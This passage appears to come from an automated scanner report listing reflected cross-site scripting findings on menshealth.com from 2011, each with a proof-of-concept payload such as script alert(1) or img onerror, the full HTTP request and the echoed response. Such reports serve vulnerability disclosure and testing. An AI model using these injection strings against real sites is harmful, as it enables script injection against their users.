2.50. http://www.menshealth.com/cda/expertoverview.do [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/expertoverview.do

Issue detail

The value of the site request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4afef"><script>alert(1)</script>8a0c6647d68 was submitted in the site parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/expertoverview.do?site=MensHealth4afef"><script>alert(1)</script>8a0c6647d68&channel=experts&expertId=1c74f5b65fa53010VgnVCM100000cfe793cd____ HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:46:43 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 100174

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<!-- Get URL attribute for cache
...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/menshealth4afef"><script>alert(1)</script>8a0c6647d68/guywisdom;'+rasegs+';topic=home;sbtpc=;cat=;kw=experts;kw=menshealth;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.51. http://www.menshealth.com/cda/expertoverview.do [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/expertoverview.do

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a4dd'%3balert(1)//e391d25fef was submitted in the site parameter. This input was echoed as 3a4dd';alert(1)//e391d25fef in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/expertoverview.do?site=MensHealth3a4dd'%3balert(1)//e391d25fef&channel=experts&expertId=1c74f5b65fa53010VgnVCM100000cfe793cd____ HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:46:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 97896

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<!-- Get URL attribute for cache
...[SNIP]...
<scri' + 'pt type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/menshealth3a4dd';alert(1)//e391d25fef/guywisdom;'+rasegs+';topic=' + topic + ';sbtpc=;cat=;kw=experts;kw=menshealth;tile=' + tile++ + ';slot=728x90.1;sz=728x90;dcopt=ist;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.52. http://www.menshealth.com/cda/featured_video.do [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/featured_video.do

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6a39'%3balert(1)//aadf88daed5 was submitted in the site parameter. This input was echoed as d6a39';alert(1)//aadf88daed5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/featured_video.do?site=MensHealthd6a39'%3balert(1)//aadf88daed5&channel=video HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:46:43 GMT
Content-Length: 23266
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">



<!-- Toggle print mode
...[SNIP]...
<scri' + 'pt type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/menshealthd6a39';alert(1)//aadf88daed5/video;'+rasegs+';topic=' + topic + ';sbtpc=home;cat=;kw=;tile=' + tile++ + ';slot=728x90.1;sz=728x90;dcopt=ist;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.53. http://www.menshealth.com/cda/featured_video.do [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/featured_video.do

Issue detail

The value of the site request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ca72"><script>alert(1)</script>a3f226141f1 was submitted in the site parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/featured_video.do?site=MensHealth9ca72"><script>alert(1)</script>a3f226141f1&channel=video HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:46:43 GMT
Content-Length: 23484
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">



<!-- Toggle print mode
...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/menshealth9ca72"><script>alert(1)</script>a3f226141f1/video;'+rasegs+';topic=home;sbtpc=home;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.54. http://www.menshealth.com/cda/toolsandquizzes_index.do [category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/toolsandquizzes_index.do

Issue detail

The value of the category request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56870"%3balert(1)//5a12c3692f5 was submitted in the category parameter. This input was echoed as 56870";alert(1)//5a12c3692f5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolsandquizzes_index.do?channel=customerservice&category=toolsquizzes56870"%3balert(1)//5a12c3692f5&topic=toollist HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:47:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 124855

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>


...[SNIP]...

2.55. http://www.menshealth.com/cda/toolsandquizzes_index.do [category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/toolsandquizzes_index.do

Issue detail

The value of the category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bb78"><script>alert(1)</script>4c3050c065a was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolsandquizzes_index.do?channel=customerservice&category=toolsquizzes8bb78"><script>alert(1)</script>4c3050c065a&topic=toollist HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:47:11 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 101160

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<!-- Get URL attribute for cac
...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/menshealth/customerservice;'+rasegs+';topic=toolsquizzes8bb78"><script>alert(1)</script>4c3050c065a;sbtpc=toollist;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.56. http://www.menshealth.com/cda/toolsandquizzes_index.do [topic parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/toolsandquizzes_index.do

Issue detail

The value of the topic request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2abf0"%3balert(1)//c98f1481 was submitted in the topic parameter. This input was echoed as 2abf0";alert(1)//c98f1481 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolsandquizzes_index.do?channel=customerservice&category=toolsquizzes&topic=toollist2abf0"%3balert(1)//c98f1481 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:47:18 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 124681

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>


...[SNIP]...

2.57. http://www.menshealth.com/downloads/all/ [cm_sp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/downloads/all/

Issue detail

The value of the cm_sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e26d"><script>alert(1)</script>93c4e0a1d98 was submitted in the cm_sp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /downloads/all/?download_type=iPhone%20App&cm_sp=apple-_-MHWorkouts-_-downloadcenter7e26d"><script>alert(1)</script>93c4e0a1d98 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:47:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:47:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=2oqvi6274e7lprjf428ai2jdr1; path=/
Content-Length: 56773

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta ht
...[SNIP]...
<a href="http://www.menshealth.com/cda/initLogin.do?callback=http://www.menshealth.com/downloads/all/?download_type=iPhone%20App&cm_sp=apple-_-MHWorkouts-_-downloadcenter7e26d"><script>alert(1)</script>93c4e0a1d98">
...[SNIP]...

2.58. http://www.menshealth.com/downloads/all/ [download_type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/downloads/all/

Issue detail

The value of the download_type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72bcf"><script>alert(1)</script>66fdd6e76a1 was submitted in the download_type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /downloads/all/?download_type=iPhone%20App72bcf"><script>alert(1)</script>66fdd6e76a1&cm_sp=apple-_-MHWorkouts-_-downloadcenter HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:47:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:47:34 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=n78bqspif5ahsq5qf2uoi2dvl4; path=/
Content-Length: 45768

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta ht
...[SNIP]...
<a href="http://www.menshealth.com/cda/initLogin.do?callback=http://www.menshealth.com/downloads/all/?download_type=iPhone%20App72bcf"><script>alert(1)</script>66fdd6e76a1&cm_sp=apple-_-MHWorkouts-_-downloadcenter">
...[SNIP]...

2.59. http://www.menshealth.com/downloads/all/ [download_type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/downloads/all/

Issue detail

The value of the download_type request parameter is copied into the HTML document as plain text between tags. The payload fbea4<script>alert(1)</script>e1489106aca was submitted in the download_type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /downloads/all/?download_type=iPhone%20Appfbea4<script>alert(1)</script>e1489106aca&cm_sp=apple-_-MHWorkouts-_-downloadcenter HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:47:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:47:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=nud9q64h4if55c09a5esja6rf7; path=/
Set-Cookie: BIGipServermh-mini=1260366016.20480.0000; path=/
Content-Length: 45764

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta ht
...[SNIP]...
<h4>All iPhone Appfbea4<script>alert(1)</script>e1489106aca Downloads</h4>
...[SNIP]...

2.60. http://www.menshealth.com/downloads/all/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/downloads/all/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d84b0"><script>alert(1)</script>35d715869da was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /downloads/all/?d84b0"><script>alert(1)</script>35d715869da=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:47:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:47:34 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=qu1fr7ptjthg34l1gat4vu1216; path=/
Content-Length: 134245

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta ht
...[SNIP]...
<a href="http://www.menshealth.com/cda/initLogin.do?callback=http://www.menshealth.com/downloads/all/?d84b0"><script>alert(1)</script>35d715869da=1">
...[SNIP]...

2.61. http://www.menshealth.com/downloads/fitness/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/downloads/fitness/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20114"><script>alert(1)</script>a12626cc2b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /downloads/fitness/?20114"><script>alert(1)</script>a12626cc2b3=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:47:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:47:34 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=um8utgig0dhsp2d8at1etrlad2; path=/
Content-Length: 106686

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-
...[SNIP]...
<a href="http://www.menshealth.com/cda/initLogin.do?callback=http://www.menshealth.com/downloads/fitness/?20114"><script>alert(1)</script>a12626cc2b3=1">
...[SNIP]...

2.62. http://www.menshealth.com/downloads/sex-and-relationships/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/downloads/sex-and-relationships/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 437c3"><script>alert(1)</script>bf08695ca35 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /downloads/sex-and-relationships/?437c3"><script>alert(1)</script>bf08695ca35=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:47:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:47:34 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=pcob4b8h4v0l4v5inm191a17u5; path=/
Content-Length: 58754

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-
...[SNIP]...
<a href="http://www.menshealth.com/cda/initLogin.do?callback=http://www.menshealth.com/downloads/sex-and-relationships/?437c3"><script>alert(1)</script>bf08695ca35=1">
...[SNIP]...

2.63. http://www.menshealth.com/fitness/cardio-activities/recent-10 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/fitness/cardio-activities/recent-10

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1754e"><img%20src%3da%20onerror%3dalert(1)>37d9ff07923 was submitted in the REST URL parameter 2. This input was echoed as 1754e"><img src=a onerror=alert(1)>37d9ff07923 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /fitness/cardio-activities1754e"><img%20src%3da%20onerror%3dalert(1)>37d9ff07923/recent-10 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.7a PHP/5.3.3
X-Powered-By: PHP/5.3.3
X-Drupal-Cache: MISS
Last-Modified: Thu, 10 Mar 2011 16:38:34 +0000
ETag: "1299775114-1"
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:18:18 GMT
Date: Thu, 10 Mar 2011 16:48:18 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 65171

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr
...[SNIP]...
<a href="http://www.menshealth.com/fitness/cardio-activities1754e"><img src=a onerror=alert(1)>37d9ff07923/recent-10">
...[SNIP]...

2.64. http://www.menshealth.com/fitness/getting-started/recent-10 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/fitness/getting-started/recent-10

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44a81"><img%20src%3da%20onerror%3dalert(1)>4f62b773f7c was submitted in the REST URL parameter 2. This input was echoed as 44a81"><img src=a onerror=alert(1)>4f62b773f7c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /fitness/getting-started44a81"><img%20src%3da%20onerror%3dalert(1)>4f62b773f7c/recent-10 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.7a PHP/5.3.3
X-Powered-By: PHP/5.3.3
X-Drupal-Cache: MISS
Last-Modified: Thu, 10 Mar 2011 16:48:19 +0000
ETag: "1299775699-1"
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:18:26 GMT
Date: Thu, 10 Mar 2011 16:48:26 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 65141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr
...[SNIP]...
<a href="http://www.menshealth.com/fitness/getting-started44a81"><img src=a onerror=alert(1)>4f62b773f7c/recent-10">
...[SNIP]...

2.65. http://www.menshealth.com/fitness/muscle-building/recent-10 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/fitness/muscle-building/recent-10

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24b67"><img%20src%3da%20onerror%3dalert(1)>b326d4dec92 was submitted in the REST URL parameter 2. This input was echoed as 24b67"><img src=a onerror=alert(1)>b326d4dec92 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /fitness/muscle-building24b67"><img%20src%3da%20onerror%3dalert(1)>b326d4dec92/recent-10 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.7a PHP/5.3.3
X-Powered-By: PHP/5.3.3
X-Drupal-Cache: MISS
Last-Modified: Thu, 10 Mar 2011 16:48:04 +0000
ETag: "1299775684-1"
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:18:07 GMT
Date: Thu, 10 Mar 2011 16:48:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 65141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr
...[SNIP]...
<a href="http://www.menshealth.com/fitness/muscle-building24b67"><img src=a onerror=alert(1)>b326d4dec92/recent-10">
...[SNIP]...

2.66. http://www.menshealth.com/fitness/sports-injuries/recent-10 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/fitness/sports-injuries/recent-10

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e37b4"><img%20src%3da%20onerror%3dalert(1)>e635af9fc62 was submitted in the REST URL parameter 2. This input was echoed as e37b4"><img src=a onerror=alert(1)>e635af9fc62 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /fitness/sports-injuriese37b4"><img%20src%3da%20onerror%3dalert(1)>e635af9fc62/recent-10 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.7a PHP/5.3.3
X-Powered-By: PHP/5.3.3
X-Drupal-Cache: MISS
Last-Modified: Thu, 10 Mar 2011 16:48:09 +0000
ETag: "1299775689-1"
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:18:11 GMT
Date: Thu, 10 Mar 2011 16:48:11 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 65141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr
...[SNIP]...
<a href="http://www.menshealth.com/fitness/sports-injuriese37b4"><img src=a onerror=alert(1)>e635af9fc62/recent-10">
...[SNIP]...

2.67. http://www.menshealth.com/mhlists/Best_and_Worst_Cities_for_Men_2010/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/mhlists/Best_and_Worst_Cities_for_Men_2010/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c56ed"><script>alert(1)</script>8b695b0b03f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mhlists/Best_and_Worst_Cities_for_Men_2010/?c56ed"><script>alert(1)</script>8b695b0b03f=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:47:25 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 76051

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
...[SNIP]...
<a href="mailto:?subject=Men's Health Lists - The Best and Worst Cities for Men 2010&body=http://www.menshealth.com/mhlists/Best_and_Worst_Cities_for_Men_2010/?c56ed"><script>alert(1)</script>8b695b0b03f=1">
...[SNIP]...

2.68. http://www.menshealth.com/mhlists/change_your_workout/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/mhlists/change_your_workout/

Issue detail

